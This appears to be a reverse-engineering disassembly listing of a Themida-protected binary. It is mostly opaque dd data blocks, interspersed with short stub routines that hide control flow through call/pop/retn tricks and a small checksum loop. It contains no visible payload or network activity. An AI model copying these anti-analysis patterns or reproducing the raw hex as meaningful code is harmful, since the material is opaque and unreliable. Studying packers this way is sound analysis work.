		dd 150424h, 57470000h, 0F7705C3h, 68Dh,	890F00h, 68000000h
		dd 0A90FA01h, 10E8h, 34AC9000h,	352AF542h, 0E9C51D48h
		dd 3A754D3Fh, 0BDBB66DFh, 34815F45h, 8FF9FE24h,	51006A0Ah
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D891554h, 6A832A5h,	0F99D01F8h, 8D06A80Bh, 0ABA22785h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 880F50F7h, 0
; ---------------------------------------------------------------------------
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_594912
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594912	proc near		; CODE XREF: Themida_:0059490Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_594912	endp

; ---------------------------------------------------------------------------
		dw 0BBB4h
		dd 7BE9D767h, 1E059589h, 95FF06A8h, 6A80741h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0CDC35040h, 9F6A0612h
		dd 0A1BD2B61h, 0F06A833h, 0F61FBBFh, 38Eh, 0FFBF0F00h
		dd 0BBD85C7h, 306A8h, 0BF0F0000h, 19B529F9h, 8306A825h
		dd 0ABA227BDh, 840F0006h, 47h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0CFC35141h,	559589ADh, 0E906A831h
		dd 3Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
		dd 0C7C35646h, 501C15EAh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0D3DB53C3h, 73F2EE04h
		dd 96D9EA8h, 0A80565B5h, 299D8B06h, 8306A81Fh, 0A80BBDBDh
		dd 850F0306h, 3DFh, 2E8D9D89h, 0BD8306A8h, 6ABA227h, 0CC840F00h
		dd 8B000003h, 27B5FFDAh, 0E806ABA2h, 14h, 29A97E51h, 54A47BC1h
		dd 7E316BAEh, 44386589h, 0A0690E54h, 5FFBBF0Fh,	0BECF8166h
		dd 0F995FF90h, 6A06A815h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 24C1C353h, 6EECD13Bh
		dd 8BFE8AF4h, 0ABA21BB5h, 6820F06h, 0F000000h, 82h, 106C700h
		dd 0B000100h, 0A831759Dh, 840F5006h, 14h, 0FE9h, 7036FD00h
		dd 58C95355h, 4D7893E7h, 0B590EA08h, 6A243489h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0EDDBC353h, 0E301FB96h, 0E78082CDh, 27B5FFE0h, 6A06ABA2h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 9C0CC356h, 0DBB70F9Ah, 219995FFh,	8BF506A8h
		dd 0ABA21BB5h, 8E906h, 0C7BC0000h, 45F3EF73h, 858BBEBDh
		dd 6A80E41h, 8689D88Ah,	0C4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0DEC35747h,	6850F5Dh, 8B000000h
		dd 0A80E09BDh, 0C59D8B06h, 8B06A80Ah, 0A805B995h, 59BD8906h
		dd 8B06A834h, 0A80CE19Dh, 4C28306h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 60C35040h, 8490737Ah, 8918E287h
		dd 0A816F9BDh, 20508906h, 97EC3ABBh, 0CE858D11h, 6A06ABB7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 630CC351h, 0BD8B3D78h, 6A81011h, 0B88689h
		dd 0E9600000h, 0Fh, 1268D8DBh, 0E3FEEDD3h, 39752260h, 0B7EA383h
		dd 0A82B7595h, 6A6106h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0FC35747h, 8F7E3FC4h,	5E9006Bh, 0BE000000h
		dd 328EF141h, 2595BD2Bh, 0B5FF06A8h, 6ABA227h, 3305F1BFh
		dd 1D95FF75h, 6A06A81Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 7DCDC356h, 817612DDh
		dd 2DC792E3h, 880F502Fh, 11h, 9E851h, 22870000h, 0EF47EA2h
		dd 5F4F4DC9h, 2434895Fh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 96C35040h, 0E78160BFh, 2CA56837h, 61DBC780h
		dd 0A227B5FFh, 6A06ABh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 9C219EC3h, 78D7A199h, 0F380C201h
		dd 0FBB70F43h, 2A6995FFh, 8B0F06A8h, 5,	5AE321BFh, 3DBD8307h
		dd 6A82Eh, 49840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 160424h, 53430000h, 475E9BC3h, 50DEB396h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 9412FB49h, 407C46A7h, 0FFF8BF0Fh, 0ABA227B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 5DC9FE13h, 0ADBCE135h, 0DF816653h, 665B50B6h
		dd 95FFDE8Bh, 6A83185h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0B2C35343h, 32619D8Bh, 0B5FF06A8h, 6ABA227h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A0C35141h
		dd 0A571E824h, 95FF25F9h, 6A80F55h, 0BD838DB7h,	6A8077Dh
		dd 19840F02h, 1000000h,	0A8021DB5h, 19858B06h, 6606A80Dh
		dd 0C64400BBh, 9D230000h, 6A81D9Dh, 0DC185C7h, 6A8h, 81660000h
		dd 0E9CC5EF7h, 0FFFFF49Eh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0DFC35040h, 0AE8h, 0CA02D800h, 8B1336DEh
		dd 0E934AC90h, 0Ch, 3B6628BDh, 0F6BA74FBh, 44BE2D0Dh, 6AC18B5Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 7ADCC350h, 161DBD8Bh, 958906A8h, 6A80D39h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941B2


loc_594EAC:				; CODE XREF: sub_5941B2:loc_594236j
		lea	eax, [ebp+6A83385h]
		push	ebx
		pop	edi
		cld
		nop
		mov	ebx, esi
		push	eax
		push	edx
		pop	ebx
		nop
		and	edi, 4FA1D678h
		push	0
		push	0
		push	ebx
		call	sub_594ECF
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5941B2

; =============== S U B	R O U T	I N E =======================================



sub_594ECF	proc near		; CODE XREF: sub_5941B2+D15p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_594ECF	endp

; ---------------------------------------------------------------------------
		cmpsb
		mov	ds:6AB6DB80h, eax
		add	[edx+0], ch
		push	eax
		call	sub_594EF1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594EF1	proc near		; CODE XREF: Themida_:00594EE9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_594EF1	endp

; ---------------------------------------------------------------------------
		xlat
		fcomp	qword ptr [esi-740D8087h]
		mov	ebp, 6A806ADh
		lea	eax, [ebp+6ACB696h]
		and	di, 9AB8h
		add	eax, 5
		push	0
		push	ebp
		call	sub_594F26
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594F26	proc near		; CODE XREF: Themida_:00594F1Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_594F26	endp

; ---------------------------------------------------------------------------
		dw 7C14h
		dd 813EA10Eh, 90D88B66h
		db 2 dup(50h)
word_594F42	dw 5052h		; DATA XREF: ___:off_438C78o
		dd 0FFB8B52h, 14E831h, 0AAD0000h, 3361C469h, 0F4C4B6E8h
		dd 92EEE48Ch, 97FACF18h, 5A5B1222h, 66310F58h, 585AFB8Bh
		dd 3880F90h, 0F000000h,	6AFBB7h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 14h, 96C35646h, 6A006Ah,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 7E8AC3C3h, 4195FF2Ch, 6A06A825h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 7E0C355h
		dd 8A8BBDC0h, 7F8D8DF9h, 6A06AB8Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E605C356h
		dd 88B34B6Ch, 515EB253h, 0CC9B589h, 0FF5F06A8h,	0CE9D1h
		dd 61FF0000h, 6429B214h, 0DC8BEFFBh, 0BD833A72h, 6A8339Dh
		dd 74850F01h, 0F000000h, 387h, 0F98B6600h, 8F0F026Ah, 6
		dd 1D59B529h, 8B5006A8h, 240489FBh, 0A59D8960h,	8B06A806h
		dd 95FF61F0h, 6A81E1Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B7C35040h, 0D77DCF91h, 9D896024h, 6A822D9h
		dd 12E8h, 84CFA200h, 295026E4h,	297440AAh, 0C9C318E6h
		dd 5FCDFCE8h, 6D958961h, 0E906A820h, 0D91h, 0E8h, 0ED815D00h
		dd 6ACB6A0h, 34BD9D8Bh,	0B50106A8h, 6A82C65h, 890Fh, 858D0000h
		dd 6AB7E2Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0A4C35545h, 0C3B2F629h,	0E781346Bh, 38DF6B8Ch
		dd 19870F50h, 0E9000000h, 14h, 529DACC7h, 0BAD1411Eh, 0C62632A1h
		dd 0AB1533FCh, 0FDA791DFh, 6A240489h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 50E7C357h
		dd 0FF6430A0h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0E0F38045h, 1DAD9D01h
		dd 896406A8h, 25h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 8D726135h, 0BE96FA2h
		dd 32000000h, 35C98645h, 3E859BB5h, 9D89AB1Dh, 6A80B61h
		dd 1B65BD8Bh, 85FF06A8h, 6A833F1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 54C35747h, 0BBFFB753h, 6DD035C7h
		dd 6660FF6Ah, 80FED181h, 6E8h, 0BCCE8B00h, 50847790h, 0FF61595Ah
		dd 0A8298DB5h, 0DE906h,	3B660000h, 0F6BA74FBh, 44BE2D0Dh
		dd 662AFE02h, 0FF1705BBh, 0A82A7D95h, 11CE906h,	81660000h
		dd 0B07A5FF3h, 14BF6600h, 0E470E65Eh, 0F8B70F71h, 830F613Ch
		dd 102h, 15BDBD89h, 0B60F06A8h,	0AE960C8h, 12000000h, 50B68C3Eh
		dd 0AC38319h, 10E92Fh, 6F3F0000h, 0E8AF35Eh, 13852E07h
		dd 6D3FC9C0h, 0BA6157C1h, 6, 2D199D8Bh,	0C18B06A8h, 0AA5BD8Bh
		dd 0E8C106A8h, 0D88B5704h, 0E2F7665Fh, 10D1B589h, 0C82B06A8h
		dd 6860Fh, 0BD290000h, 6A80C45h, 8D89D18Bh, 6A80049h, 95E9h
		dd 0C1BD8900h, 8B06A806h, 885h,	0DBBF0F00h, 6007C083h
		dd 0FB8BF18Bh, 83FA8A61h, 8B6000C0h, 0A820EDBDh, 5F576006h
		dd 2261BD2Bh, 616106A8h, 830FD03Bh, 1Dh, 59E9h,	0FE800h
		dd 0A2640000h, 0A6A2FAE0h, 7B07D1A4h, 332C16B2h, 8B665BC5h
		dd 0FF8D8BD8h, 52FFFFFFh, 0ED9D8960h, 6106A820h, 819D8B5Fh
		dd 8306A815h, 840F01E1h, 22h, 0FFA583FCh, 0FEFFFFFFh, 89589h
		dd 0AE90000h, 8C000000h, 3124C717h, 4AC833C1h, 0E95Eh
		dd 0B58D0000h, 6AC3224h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 43C35141h, 81512032h,	67EE1DE3h, 6A5B7Bh
		dd 11E8h, 0E4403A00h, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh
		dd 840F6186h, 6, 22859D8Bh, 0FF5B06A8h,	0A81B3195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0BAC7CDC6h, 8D62A347h, 8A0FC612h, 0Ah, 850F60h, 53000000h
		dd 0EAB9615Eh, 8100000Fh, 0E13430F3h, 0FCE1830Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5CC35646h, 5809CDC8h
		dd 0C004DD27h, 10E9F890h, 95000000h, 52C38BD4h,	2D03C2F4h
		dd 0B14E6724h, 0BB22B134h, 71161692h, 55006AFCh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0B02CED69h, 0C02B01D2h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 5C35141h, 599589C7h, 0BA06A820h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_59545B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59545B	proc near		; CODE XREF: Themida_:00595453p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_59545B	endp

; ---------------------------------------------------------------------------
		adc	[ebp-32F45A65h], dl
		mov	[ebp+6A83389h],	edi


loc_595477:				; CODE XREF: Themida_:00595481j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_595477
		add	edi, 300BC9C3h
		push	0
		push	ebp
		call	sub_595494
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595494	proc near		; CODE XREF: Themida_:0059548Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_595494	endp

; ---------------------------------------------------------------------------
		dd 0A54284ADh, 53946ECCh, 8D89101Eh, 6A80C75h, 5BFA8B57h
		dd 880Dh, 0F9B70F00h, 5B9958Bh,	60F806A8h, 18019D8Bh, 8B6106A8h
		dd 0A814698Dh, 0B9B58906h, 5006A807h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 7BF3BB58h, 810F558Fh,	3, 83F98B66h
		dd 0A80C91BDh, 840F0006h, 78h, 0C2C32FBFh, 0B83Bh, 0B70F0000h
		dd 0AF8D8DDAh, 6A06A84Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0CA6DC351h,	4DF3819Fh
		dd 0BF6143AAh, 7C39CB09h, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 610B39C3h, 0BB8444E8h
		dd 65B58926h, 5106A80Eh, 68F0Fh, 0BD890000h, 6A807F1h
		dd 0D88B665Fh, 0BBDBD83h, 0F0006A8h, 42684h, 4BBB6600h
		dd 0BDBD835Fh, 106A80Bh, 430840Fh, 0E7810000h, 5DB4643h
		dd 0BBDBD83h, 0F0306A8h, 3E786h, 0D59D2300h, 0E906A81Bh
		dd 12h,	6C935B82h, 66549C06h, 0BC75B7AFh, 1EADBB61h, 6A604B8Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0C92FC351h, 74FCA19Ch, 3A7344B5h,	1DDD9589h
		dd 8C6606A8h, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0EAAF0324h, 4E180F8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D9C35343h, 0EDE1140Eh
		dd 0C90AE474h, 14F840Fh, 8B660000h, 0E1858BFAh,	106A80Bh
		dd 0A820D1B5h, 5D853306h, 0F06A81Dh, 5750FFB7h,	895FD98Bh
		dd 880F2404h, 9, 38C0Fh, 8B660000h, 6A006AF9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0A886C357h, 0E9DD4E9Bh, 13h,	12F4A230h, 0A17F9C7h, 0C9583EBh
		dd 0E9B96805h, 606C55BBh, 7298D8Bh, 0E86106A8h,	4, 1F03FFh
		dd 6050FA8Bh, 0F525050h, 5A585A31h, 8B61C38Bh, 52042444h
		dd 0AE9h, 6C76A900h, 0C22C17FBh, 5B37D00Bh, 0BB66008Bh
		dd 4489BF81h, 0E8500424h, 0Fh, 60A5AE26h, 0A237BD94h, 9C39C401h
		dd 8A5B83F1h, 585B5FD9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0FDC35646h, 4195FFB3h, 6006A807h, 0A59D8B60h
		dd 6106A82Fh, 8E9h, 1FFB3400h, 0EC0373BBh, 85896120h, 6A801C9h
		dd 0A2278589h, 6A06ABh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0A58629C3h, 19AE9h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0CDADD806h, 2B4C1A1Ch, 1F858B66h, 8106ABA2h,	0FD719FE7h
		dd 1800C715h, 0E8000000h, 0Bh, 0BE276309h, 212EAB9Eh, 8B17038Ch
		dd 0A81A599Dh, 0B58B5B06h, 6ABA223h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0EC35747h, 0D91067E6h, 8BA8CF96h
		dd 0A82B7D85h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0F6781626h, 89E66C73h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8B5785AAh, 0A80BE185h, 4468906h,	16820Fh
		dd 0E9520000h, 0Fh, 323F68DBh, 55524A64h, 0ADF0FC3Dh, 5B8E03B5h
		dd 6A965096h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0D933C350h, 2612AD67h,	1FB5FFA6h
		dd 6A06ABA2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 91B4C351h, 2BFC5EAEh, 0A80C0D9Dh
		dd 298D0906h, 6806A822h, 0C05963C1h, 481D88Ah, 0C5A03E24h
		dd 0D381663Fh, 858D62B5h, 6ABA227h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 93C35040h, 5FBF5090h, 5F3869CFh
		dd 5FB66050h, 61C78B66h, 0DA8B6690h, 0FFD88B66h, 0A8074195h
		dd 0BD016006h, 6A80B89h, 2DD9858Bh, 616106A8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EC35242h, 4D13A069h
		dd 0BBD85C7h, 306A8h, 830F0000h, 5, 0F3C78166h,	27BD83D8h
		dd 6ABA2h, 46840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8D8942C3h, 6A833EDh
		dd 3AE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0D6FF261Dh, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 8D20C355h, 0B6B75AD8h, 0BD8BD259h, 6A82DB5h,	5C19D03h
		dd 83F806A8h, 0A80BBDBDh, 850F0306h, 3FEh, 25AD8D89h, 816606A8h
		dd 839FB8D7h, 0ABA227BDh, 840F0006h, 3E6h, 1A3DBD03h, 0B5FF06A8h
		dd 6ABA227h, 95FFD98Ah,	6A815F9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 2C35747h, 1FE3CBCDh, 0BE7388D3h
		dd 94BB66B2h, 1BB58B80h, 0F06ABA2h, 8Fh, 106C700h, 6A000100h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0D696C352h, 0BD8BF9A6h, 6A8212Dh,	50D88B96h
		dd 6A96DA8Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 4706C357h, 744FB07Fh, 8CA8019Eh
		dd 141DBD8Bh, 0B5FF06A8h, 6ABA227h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0ACC35141h,	0D3CB5DAFh, 0BBB56AB4h
		dd 33CB6A8Ah, 0DE9h, 0AB680700h, 9B221680h, 98E17958h
		dd 95FF0C26h, 6A82199h,	8BA6C380h, 0ABA21BB5h, 3860F06h
		dd 0F000000h, 0BD0BFBBFh, 6A82761h, 0E41858Bh, 868906A8h
		dd 0C4h, 1058CB81h, 958B6CD2h, 6A805B9h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 6EC35747h, 0BD8BC322h
		dd 6A83389h, 6A04C283h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 1AD5C355h, 618D892Bh
		dd 8906A80Bh, 81662050h, 8D2969F7h, 0ABB7CE85h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0F5F6D2AFh, 8689F986h, 0B8h,	6AFBBF0Fh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0B3ED9D09h, 27B5FF3Bh, 6A06ABA2h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 26D7C353h
		dd 1AC59D23h, 5E906A8h,	81000000h, 853D7404h, 1E1D95FFh
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 66300DC3h, 0BF0FFE8Bh, 0BE996FEh,	77000000h
		dd 6F17049Ah, 5348BBC6h, 8B503772h, 86BB96DAh, 0FF14DAE6h
		dd 0ABA227B5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 852A6553h, 8B667CD7h
		dd 6995FFDAh
		dd 8B06A82Ah, 0A80F59BDh, 3DBD8306h, 6A82Eh, 59840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 21FA29C3h, 0F1FCB960h, 0B5896B77h, 6A81E65h,	50FE8B61h
		dd 6A243489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 8F5EC351h, 1BC7544Bh, 8166CD59h
		dd 0FF2F74DFh, 0ABA227B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 9E887h, 2C6E0000h
		dd 0E891062Bh, 816E0254h, 0C8431BF7h, 8B665B22h, 8595FFF9h
		dd 8906A831h, 0A82671BDh, 27B5FF06h, 6A06ABA2h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 6E90C350h, 0A2BB90D0h, 0C14C389Dh, 21159D2Bh, 95FF06A8h
		dd 6A80F55h, 83DBB70Fh,	0A8077DBDh, 840F0206h, 6Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 79C35646h, 9D822777h
		dd 0D6715B58h, 8BDBB70Fh, 0A80D1985h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0D3A5B3D6h, 0CE8E8AEh, 0A1000000h, 31A6A9A5h, 0A77BBAD3h
		dd 89C1FDB7h, 0A81E798Dh, 0C65B06h, 6D950900h, 0C706A82Fh
		dd 0A80DC185h, 6, 8E900h, 0B54E0000h, 0A9CE6E66h, 0A5E9BA19h
		dd 89FFFFF3h, 0A81B5DBDh, 89C18B06h, 0A82FA59Dh, 20E906h
		dd 0A09B0000h, 4A7Bh, 6	dup(0)
		dd 0B7E90000h, 0A9000004h, 0E043C78Eh, 0FB0F6B3h, 399A2069h
		dd 69CA5015h, 0BA0185C8h, 377A1BF7h, 632E50F3h,	91D87C27h
		dd 0C28BAA15h, 0C07AE044h, 0B6049AC8h, 0BAD77CBAh, 0D6AEEA1Ch
		dd 0BB94AF57h, 3E632A4Ah, 41E44BEDh, 59FAAB08h,	0E2D9614h
		dd 3529A347h, 1B302597h, 766F2A47h, 0BDE04122h,	15B3AFF4h
		dd 0D25D5DEFh, 0C27AF58h, 58D1C6C2h, 593BCAFh, 73B0F59Ah
		dd 838A2B80h, 0B21DA9E0h, 0E44FDB92h, 20ED8140h, 0D05D3673h
		dd 9238EEC7h, 58D23068h, 0FF3912AFh, 36F3930Ch,	37739515h
		dd 0DAF58D2h, 3BE44922h, 817A5316h, 2FF0DD1Ch, 0F94D0428h
		dd 317E3756h, 58D1EE29h, 0D65F5CAFh, 0DF2DE8C4h, 4F0F12h
		dd 0FF100000h, 4E88155Ch, 0AF57D748h, 7E7C25B2h, 12DFD682h
		dd 165h, 52FFBE00h, 76EF08F6h, 0A49DA7FEh, 0CC89A67Fh
		dd 2B5DFB67h, 0AF5844EFh, 713E7AD5h, 0B81B98DDh, 783D51B2h
		dd 0D3DA5B30h, 8DCFFBBEh, 0DD6E8FF0h, 563C7CAAh, 83074EEDh
		dd 135EFFA4h, 3D78158Eh, 1B8431F0h, 0E83E7314h,	0C06D2447h
		dd 54F8395Fh, 6D158FCh,	524BD2ACh, 0FF543479h, 90B82436h
		dd 91DF12DFh, 60000000h, 0F7135EFFh, 0F523660Ch, 0A2EB8D16h
		dd 7C25967Dh, 0E3AECF30h, 64CB6DBEh, 0D2388EC3h, 9E1A53F1h
		dd 0F03D7011h, 43E3CC6Ah, 0D6C4C40Eh, 95BEAF57h, 0B3F69C03h
		dd 80218A6Eh, 0DFD47672h, 899112h, 0FFAA0000h, 0B4FD9B5Eh
		dd 5149F36Fh, 33AF57D7h, 0E9362F18h, 75B5D77Dh,	4FAF57D7h
		dd 8484C6E4h, 7EAF57D7h, 0B8DC43D5h, 0D78E8A3Ch, 4F7CAF57h
		dd 26930FE7h, 0BAA022h,	0AF58C708h, 8F7851FAh, 9C056E22h
		dd 5258F495h, 522300D6h, 664DD9B2h, 723B59BAh, 0E68BFC2Dh
		dd 8B2D7EA3h, 0E54A0F24h, 57D72265h, 0AAE381AFh, 0B2F5F505h
		dd 9DB7FE65h, 0E340092Ch, 0E7EEB71Ch, 88A10E4Bh, 4FD0C79Fh
		dd 0DF885743h, 1B612h, 0FF890000h, 0BBF69859h, 40F4C476h
		dd 0B7332862h, 0B7C1E5DEh, 0C600BA2Eh, 0AF5832C2h, 35F9780h
		dd 0A50692BEh, 931059FCh, 0F2BE674Ch, 0F73C7111h, 0E3400D2Eh
		dd 0C370D1CAh, 0A8001986h, 92286107h, 8A308B29h, 3BD970h
		dd 2380ABB6h, 1CAAE382h, 54D990B3h, 3C9492h, 2A8BE0B6h
		dd 0FD490023h, 357A3352h, 2380C96Ch, 676E379Ch,	9D398DC4h
		dd 1477B3A1h, 10744h, 0B5E7DF00h, 23AED80Eh, 0E1B60007h
		dd 1538E936h, 2FBBED4h,	31781B84h, 591033ECh, 0B3B02BADh
		dd 66C9D7AEh, 65CE5132h, 0DF96B5BCh, 9BF7E34Bh,	3C161477h
		dd 0E8000000h, 8A2E6B07h, 0BB6E7A1h, 0D74DADDFh, 1C372F57h
		dd 0D7535797h, 0EE452F57h, 0C2F52645h, 0DE7AEBA2h, 38110A97h
		dd 0D7207882h, 84E2AF57h, 57D74642h, 3A133CAFh,	9663ECh
		dd 0E7460000h, 0AED80EB5h, 0B6000ACFh, 387D12B5h, 9B04E24Fh
		dd 0DB73B0F9h, 1420A232h, 6ECAA38Fh, 5FEBA2C1h,	9B1851F4h
		dd 5F5253h, 6C35BEB6h, 86EC665h, 62327647h, 0E952E8C1h
		dd 0B0CAF04Bh, 0BCAD4FA5h, 0B66FB49Fh, 0D051DE97h, 0E9BAE7A2h
		dd 0B207E34Bh, 398D9A77h, 0F857E340h, 0BC19B837h, 1A40F4F3h
